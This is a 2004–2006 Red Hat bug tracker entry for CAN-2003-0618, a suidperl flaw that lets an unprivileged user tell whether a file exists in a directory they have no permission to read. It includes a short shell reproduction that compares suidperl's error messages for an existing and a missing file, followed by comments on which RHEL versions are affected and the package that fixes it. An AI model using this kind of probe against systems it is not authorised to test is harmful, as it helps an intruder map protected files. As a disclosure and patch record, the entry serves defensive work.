Description Mark J. Cox (Product Security) 2004-02-04 11:33:10 EST
CAN-2003-0618 was reported 2003Jul29 to Debian. You can test for the
existance of files even if you don't have permission to do so by using
the suidperl command.

        $ su
        # mkdir ~root/delme; chmod 700 ~root/delme;touch ~root/delme/1
        # exit
        $ suidperl ~root/delme/1
        Script is not setuid/setgid in suidperl
        $ suidperl ~root/delme/2
        Can't open perl script "/root/delme/2": No such file ...


        Affects: 2.1AS 2.1ES 2.1AW 2.1WS (5.6.1) 
        Affects: 3AS 3ES 3WS (5.8.0) 

Debian released an errata for this issue in Feb 2004.
Comment 1 Mark J. Cox (Product Security) 2004-02-09 10:40:57 EST
Actually this doesn't affect RHEL3 because the setuid perl package was
not shipped.
Comment 2 Josh Bressers 2005-05-04 18:04:20 EDT
I did some verification work on this one.  This issue does affect RHEL3.  We may
not have shipped perl-suidperl in the past, we do now.
Comment 3 Jason Vas Dias 2006-04-21 21:24:55 EDT
fixed with perl-5.6.1-38.EL2_1
Comment 4 Robin Norwood 2006-10-01 19:33:54 EDT
